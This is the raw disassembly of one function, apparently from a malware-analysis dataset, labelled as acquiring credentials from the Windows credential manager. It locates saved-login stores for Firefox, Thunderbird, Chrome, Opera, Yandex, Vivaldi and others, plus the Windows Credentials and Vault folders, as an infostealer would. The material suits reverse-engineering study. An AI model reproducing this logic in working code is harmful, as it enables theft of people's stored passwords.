Function at 0x44ff87
Capabilities:
Acquire credentials from windows credential manager

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x30d0
call fcn.004516d0
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor esi, esi
mov ebx, edi
mov dword [0x461ac0], esi
call fcn.00443bca
cmp dword [0x461ac0], esi
jne 0x450af4
lea eax, [edi + 0xbc]
push eax
call fcn.00444630
cmp dword [0x461ac0], esi
jne 0x450af4
lea eax, [edi + 0xa8]
call fcn.00443368
cmp dword [0x461ac0], esi
jne 0x450af4
lea eax, [edi + 0x4f0]
push eax
call fcn.004078e0
cmp dword [0x461ac0], esi
jne 0x450af4
lea eax, [ebp - 0x11c]
call fcn.0043b1c4
push eax
call fcn.0043b3c8
push str.firefox.exe
lea ebx, [ebp - 0x11c]
call fcn.0043b14e
mov ebx, eax
cmp ebx, esi
je 0x450114
push 0x208
lea eax, [ebp - 0x2272]
push esi
push eax
mov word [ebp - 0x2274], si
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x208
lea eax, [ebp - 0x53a]
push esi
push eax
mov word [ebp - 0x53c], si
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x208
lea eax, [ebp - 0x32a]
push esi
push eax
mov word [ebp - 0x32c], si
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x208
lea eax, [ebp - 0x1c62]
push esi
push eax
mov word [ebp - 0x1c64], si
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebx + 4]
lea esi, [ebp - 0x2274]
call fcn.00446bf5
lea esi, [ebp - 0x53c]
lea eax, [ebp - 0x2274]
call fcn.00446bf5
lea esi, [ebp - 0x32c]
lea eax, [ebp - 0x53c]
call fcn.00446bf5
cmp word [ebp - 0x32c], 0
je 0x450112
push 0x1ff
mov eax, esi
push str.DataProfile
push eax
lea eax, [ebp - 0x1c64]
call fcn.00446ae8
lea eax, [ebp - 0x1c64]
add esp, 0xc
push eax
call fcn.00446018
test eax, eax
pop ecx
je 0x450112
lea eax, [ebp - 0x1c64]
push eax
add edi, 0xc0
call fcn.00448583
mov edi, dword [ebp + 8]
xor esi, esi
lea eax, [ebp - 0x2c]
mov dword [edi + 0x854], esi
call fcn.00445166
push eax
call fcn.0043cf75
cmp dword [ebp - 0x10], esi
jle 0x45015b
add edi, 0xc0
mov ecx, esi
lea eax, [ebp - 0x2c]
call fcn.00444af6
push eax
call fcn.00448583
cmp dword [0x461ac0], 0
jne 0x450ae1
inc esi
cmp esi, dword [ebp - 0x10]
jl 0x450133
mov edi, dword [ebp + 8]
xor esi, esi
cmp dword [0x461ac0], esi
jne 0x450ae1
lea eax, [ebp - 0x4c]
mov dword [edi + 0x854], 0x33
call fcn.00445166
push eax
call fcn.0043d10e
cmp dword [ebp - 0x30], esi
jle 0x4501b2
add edi, 0xc0
mov ecx, esi
lea eax, [ebp - 0x4c]
call fcn.00444af6
push eax
call fcn.00448583
cmp dword [0x461ac0], 0
jne 0x450ad9
inc esi
cmp esi, dword [ebp - 0x30]
jl 0x45018a
mov edi, dword [ebp + 8]
xor esi, esi
cmp dword [0x461ac0], esi
jne 0x450ad9
lea eax, [ebp - 0x6c]
mov dword [edi + 0x854], 0x35
call fcn.00445166
push eax
call fcn.0043d2a7
cmp dword [ebp - 0x50], esi
jle 0x450209
add edi, 0xc0
mov ecx, esi
lea eax, [ebp - 0x6c]
call fcn.00444af6
push eax
call fcn.00448583
cmp dword [0x461ac0], 0
jne 0x450ad1
inc esi
cmp esi, dword [ebp - 0x50]
jl 0x4501e1
mov edi, dword [ebp + 8]
xor esi, esi
cmp dword [0x461ac0], esi
jne 0x450ad1
lea eax, [ebp - 0x8c]
mov dword [edi + 0x854], 0x1d
call fcn.00445166
push str.Thunderbird
push eax
call fcn.0043d440
cmp dword [ebp - 0x70], esi
jle 0x45026b
add edi, 0xc0
mov ecx, esi
lea eax, [ebp - 0x8c]
call fcn.00444af6
push eax
call fcn.00448583
cmp dword [0x461ac0], 0
jne 0x450ac6
inc esi
cmp esi, dword [ebp - 0x70]
jl 0x450240
mov edi, dword [ebp + 8]
xor esi, esi
cmp dword [0x461ac0], esi
jne 0x450ac6
lea eax, [ebp - 0xc4]
mov dword [edi + 0x854], 0x34
call fcn.00445166
push str.Moonchild_ProductionsPale_Moon
push eax
call fcn.0043d440
cmp dword [ebp - 0xa8], esi
jle 0x4502d3
add edi, 0xc0
mov ecx, esi
lea eax, [ebp - 0xc4]
call fcn.00444af6
push eax
call fcn.00448583
cmp dword [0x461ac0], 0
jne 0x450abb
inc esi
cmp esi, dword [ebp - 0xa8]
jl 0x4502a5
mov edi, dword [ebp + 8]
xor esi, esi
cmp dword [0x461ac0], esi
jne 0x450abb
mov ebx, 0x208
push ebx
lea eax, [ebp - 0x74a]
push esi
push eax
mov dword [edi + 0x854], 0x29
mov word [ebp - 0x74c], si
call sub.msvcrt.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 0x32a]
push esi
push eax
mov word [ebp - 0x32c], si
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x1c
pop eax
lea ebx, [ebp - 0x74c]
call fcn.0043968e
mov ebx, 0x1ff
push ebx
lea eax, [ebp - 0x74c]
push str.GoogleChromeUser_Data
push eax
lea eax, [ebp - 0x32c]
call fcn.00446ae8
add esp, 0xc
lea eax, [ebp - 0x32c]
push eax
push edi
call fcn.0044ff26
push ebx
lea eax, [ebp - 0x74c]
push str.GoogleChrome_SxSUser_Data
push eax
lea eax, [ebp - 0x32c]
call fcn.00446ae8
add esp, 0xc
lea eax, [ebp - 0x32c]
push eax
push edi
call fcn.0044ff26
push ebx
lea eax, [ebp - 0x74c]
push str.ChromiumUser_Data
push eax
lea eax, [ebp - 0x32c]
call fcn.00446ae8
add esp, 0xc
lea eax, [ebp - 0x32c]
push eax
push edi
call fcn.0044ff26
cmp dword [0x461ac0], esi
jne 0x450abb
add ebx, 9
push ebx
lea eax, [ebp - 0x53a]
push esi
push eax
mov word [ebp - 0x53c], si
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x1ff
lea eax, [ebp - 0x74c]
push str.Microsoft
push eax
lea eax, [ebp - 0x53c]
call fcn.00446ae8
add esp, 0xc
lea eax, [ebp - 0x30cc]
call fcn.00444a59
lea eax, [ebp - 0x53c]
push eax
push 0x4541c4
lea eax, [ebp - 0x30cc]
call fcn.0044522c
jmp 0x450470
lea ecx, [ebp - 0x30cc]
call fcn.00444f17
test eax, eax
je 0x450470
push ebx
lea eax, [ebp - 0x53a]
push esi
push eax
mov word [ebp - 0x53c], si
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x1ff
lea eax, [ebp - 0x2a74]
push str.User_Data
push eax
lea eax, [ebp - 0x53c]
call fcn.00446ae8
add esp, 0xc
lea eax, [ebp - 0x53c]
push eax
push edi
mov dword [edi + 0x854], 0x2d
call fcn.0044ff26
lea eax, [ebp - 0x30cc]
call fcn.004451b2
test eax, eax
jne 0x450413
cmp dword [0x461ac0], esi
jne 0x450ab0
push ebx
lea eax, [ebp - 0xb6a]
push esi
push eax
mov word [ebp - 0xb6c], si
call sub.msvcrt.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 0x1a52]
push esi
push eax
mov word [ebp - 0x1a54], si
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x1a
pop eax
lea ebx, [ebp - 0xb6c]
call fcn.0043968e
push 0x1ff
mov eax, ebx
push str.Opera_SoftwareOpera_StableLogin_Data
push eax
lea eax, [ebp - 0x1a54]
call fcn.00446ae8
lea eax, [ebp - 0x1a54]
add esp, 0xc
push eax
call fcn.00446018
test eax, eax
pop ecx
je 0x450512
lea eax, [ebp - 0x1a54]
push eax
lea eax, [edi + 0x4a0]
push eax
mov dword [edi + 0x854], 0x2a
call fcn.0044dd4d
push 0x208
lea eax, [ebp - 0x95a]
push esi
push eax
mov word [ebp - 0x95c], si
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x1c
pop eax
lea ebx, [ebp - 0x74c]
call fcn.0043968e
push 0x1ff
mov eax, ebx
push str.YandexYandexBrowserUser_DataDefaultLogin_Data
push eax
lea eax, [ebp - 0x95c]
call fcn.00446ae8
lea eax, [ebp - 0x95c]
add esp, 0xc
push eax
call fcn.00446018
test eax, eax
pop ecx
je 0x450585
lea eax, [ebp - 0x95c]
push eax
lea eax, [edi + 0x4a0]
push eax
mov dword [edi + 0x854], 0x2b
call fcn.0044dd4d
push 0x1c
pop eax
lea ebx, [ebp - 0x74c]
call fcn.0043968e
push 0x1ff
mov eax, ebx
push str.VivaldiUser_DataDefaultLogin_Data
push eax
lea eax, [ebp - 0x95c]
call fcn.00446ae8
lea eax, [ebp - 0x95c]
add esp, 0xc
push eax
call fcn.00446018
test eax, eax
pop ecx
je 0x4505dc
lea eax, [ebp - 0x95c]
push eax
lea eax, [edi + 0x4a0]
push eax
mov dword [edi + 0x854], 0x2c
call fcn.0044dd4d
lea eax, [ebp - 0xe4]
call fcn.0044a58b
call fcn.0044b18d
cmp dword [0x461ac0], esi
jne 0x450aa5
cmp dword [ebp - 0xc8], esi
mov dword [ebp - 8], esi
mov ebx, 0xff
jle 0x4506ef
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0xd4]
call fcn.00401173
mov esi, eax
lea eax, [ebp - 0x1844]
call fcn.00401000
lea eax, [esi + 0x400]
push eax
mov eax, ebx
lea edi, [ebp - 0x1844]
call fcn.00446184
pop ecx
lea eax, [esi + 0x600]
push eax
mov eax, ebx
lea edi, [ebp - 0x1644]
call fcn.00446184
cmp word [ebp - 0x1644], 0
pop ecx
jne 0x450670
lea eax, [esi + 0x120a]
cmp word [eax], 0
je 0x450670
push eax
mov eax, ebx
call fcn.00446184
pop ecx
lea eax, [esi + 0xe00]
push eax
push 0x60
pop eax
lea edi, [ebp - 0xc44]
call fcn.00446184
pop ecx
lea eax, [esi + 0x200]
push eax
push esi
push 0x4542ec
lea eax, [ebp - 0x1444]
push ebx
push eax
call sub.msvcrt.dll__snwprintf
add esp, 0x14
cmp word [ebp - 0x1844], 0
mov word [ebp - 0xb80], 0x1e
mov word [ebp - 0xb82], 2
jne 0x4506c9
cmp word [ebp - 0x1644], 0
je 0x4506d8
lea eax, [ebp - 0x1844]
push eax
mov eax, dword [ebp + 8]
call fcn.0044f499
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0xc8]
jl 0x45060c
mov edi, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 0x98], esi
mov dword [ebp - 0x90], esi
mov dword [ebp - 0x94], esi
lea esi, [ebp - 0x2064]
mov dword [ebp - 0xa4], 0x4544b4
call fcn.0043c3d6
and dword [ebp - 8], 0
mov esi, 0x3ff
push dword [ebp - 8]
lea eax, [ebp - 0x2064]
push eax
call fcn.0043cbc9
test eax, eax
je 0x45079c
lea eax, [ebp - 0x1844]
call fcn.00401000
lea eax, [ebp - 0x1e64]
push eax
mov eax, ebx
lea edi, [ebp - 0x1644]
call fcn.00446184
pop ecx
lea eax, [ebp - 0x2064]
push eax
mov eax, ebx
lea edi, [ebp - 0x1844]
call fcn.00446184
mov eax, edi
pop ecx
push eax
mov eax, esi
lea edi, [ebp - 0x1444]
call fcn.00446184
pop ecx
lea eax, [ebp - 0x1844]
push eax
mov eax, dword [ebp + 8]
mov word [ebp - 0xb82], 3
mov word [ebp - 0xb80], 0x1f
call fcn.0044f499
mov edi, dword [ebp + 8]
inc dword [ebp - 8]
cmp dword [ebp - 8], 3
jl 0x45071f
cmp dword [0x461ac0], 0
jne 0x450a9a
lea eax, [ebp - 0x2064]
push eax
call fcn.0043cc88
test eax, eax
je 0x450830
lea eax, [ebp - 0x1844]
call fcn.00401000
lea eax, [ebp - 0x1e64]
push eax
mov eax, ebx
lea edi, [ebp - 0x1644]
call fcn.00446184
pop ecx
lea eax, [ebp - 0x2064]
push eax
mov eax, ebx
lea edi, [ebp - 0x1844]
call fcn.00446184
mov eax, edi
pop ecx
push eax
mov eax, esi
lea edi, [ebp - 0x1444]
call fcn.00446184
pop ecx
lea eax, [ebp - 0x1844]
push eax
mov eax, dword [ebp + 8]
mov word [ebp - 0xb82], 3
mov word [ebp - 0xb80], 0x1f
call fcn.0044f499
mov edi, dword [ebp + 8]
cmp dword [0x461ac0], 0
jne 0x450a9a
lea eax, [ebp - 0x2064]
push eax
call fcn.0043cc2d
test eax, eax
je 0x4508b7
lea eax, [ebp - 0x1844]
call fcn.00401000
lea eax, [ebp - 0x1e64]
push eax
mov eax, ebx
lea edi, [ebp - 0x1644]
call fcn.00446184
pop ecx
lea eax, [ebp - 0x2064]
push eax
mov eax, ebx
lea edi, [ebp - 0x1844]
call fcn.00446184
mov eax, edi
pop ecx
push eax
mov eax, esi
lea edi, [ebp - 0x1444]
call fcn.00446184
pop ecx
lea eax, [ebp - 0x1844]
push eax
mov eax, dword [ebp + 8]
mov word [ebp - 0xb82], 3
mov word [ebp - 0xb80], 0x1f
call fcn.0044f499
mov edi, dword [ebp + 8]
xor ebx, ebx
cmp dword [0x461ac0], ebx
jne 0x450a9a
lea esi, [edi + 0x4c8]
push esi
call fcn.0043ca92
cmp dword [0x461ac0], ebx
jne 0x450a9a
push esi
call fcn.0043c405
cmp dword [0x461ac0], ebx
jne 0x450a9a
lea esi, [edi + 0x4e0]
call fcn.0043bd23
cmp dword [0x461ac0], ebx
jne 0x450a9a
add edi, 0x4e8
call fcn.004084fb
xor edi, edi
cmp dword [0x461ac0], edi
jne 0x450a9a
lea eax, [ebp - 8]
push eax
mov dword [ebp - 8], edi
call fcn.0043bee3
push 0x1c
pop eax
lea ebx, [ebp - 0x74c]
call fcn.0043968e
push 0x1a
pop eax
lea ebx, [ebp - 0xb6c]
call fcn.0043968e
mov ebx, 0x208
push ebx
lea eax, [ebp - 0x32a]
push edi
push eax
mov word [ebp - 0x32c], di
call sub.msvcrt.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 0x53a]
push edi
push eax
mov word [ebp - 0x53c], di
call sub.msvcrt.dll_memset
add esp, 0xc
lea esi, [ebx - 9]
push esi
lea eax, [ebp - 0xb6c]
push str.MicrosoftCredentials
push eax
lea eax, [ebp - 0x32c]
call fcn.00446ae8
mov ecx, dword [ebp + 8]
add esp, 0xc
push edi
lea eax, [ebp - 0x32c]
add ecx, 0x514
push eax
mov dword [ebp - 0xc], ecx
call fcn.0044d12c
cmp dword [0x461ac0], edi
jne 0x450a92
push esi
lea eax, [ebp - 0x74c]
push str.MicrosoftCredentials
push eax
lea eax, [ebp - 0x32c]
call fcn.00446ae8
mov ecx, dword [ebp - 0xc]
add esp, 0xc
push edi
lea eax, [ebp - 0x32c]
push eax
call fcn.0044d12c
cmp dword [0x461ac0], edi
jne 0x450a92
lea eax, [ebp - 0x53c]
push eax
call fcn.00445e30
pop ecx
push esi
lea eax, [ebp - 0x53c]
push str.config_systemprofileAppDataLocalMicrosoftCredentials
push eax
lea eax, [ebp - 0x32c]
call fcn.00446ae8
mov ecx, dword [ebp - 0xc]
add esp, 0xc
push edi
lea eax, [ebp - 0x32c]
push eax
call fcn.0044d12c
cmp dword [0x461ac0], edi
jne 0x450a92
push ebx
lea eax, [ebp - 0x53a]
push edi
push eax
mov word [ebp - 0x53c], di
call sub.msvcrt.dll_memset
add esp, 0xc
push 0x1c
pop eax
lea ebx, [ebp - 0x74c]
call fcn.0043968e
push esi
mov eax, ebx
push str.MicrosoftVault4BF4C442_9B8A_41A0_B380_DD4A704DDB28
push eax
lea eax, [ebp - 0x53c]
call fcn.00446ae8
mov eax, dword [ebp + 8]
add esp, 0xc
lea ecx, [ebp - 0x53c]
push ecx
lea ecx, [eax + 0x78c]
mov dword [eax + 0x854], 0x21
call fcn.00408b4d
lea esi, [ebp - 8]
call fcn.0043bd5c
lea esi, [ebp - 0x98]
call fcn.0044ca33
lea edi, [ebp - 0xe4]
call fcn.0044a579
lea esi, [ebp - 0x30cc]
call fcn.00444a2e
lea esi, [ebp - 0xc4]
call fcn.0044513b
lea esi, [ebp - 0x8c]
call fcn.0044513b
lea esi, [ebp - 0x6c]
call fcn.0044513b
lea esi, [ebp - 0x4c]
call fcn.0044513b
lea esi, [ebp - 0x2c]
call fcn.0044513b
lea edi, [ebp - 0x11c]
call fcn.0043b1aa
pop edi
pop esi
pop ebx
leave
ret 4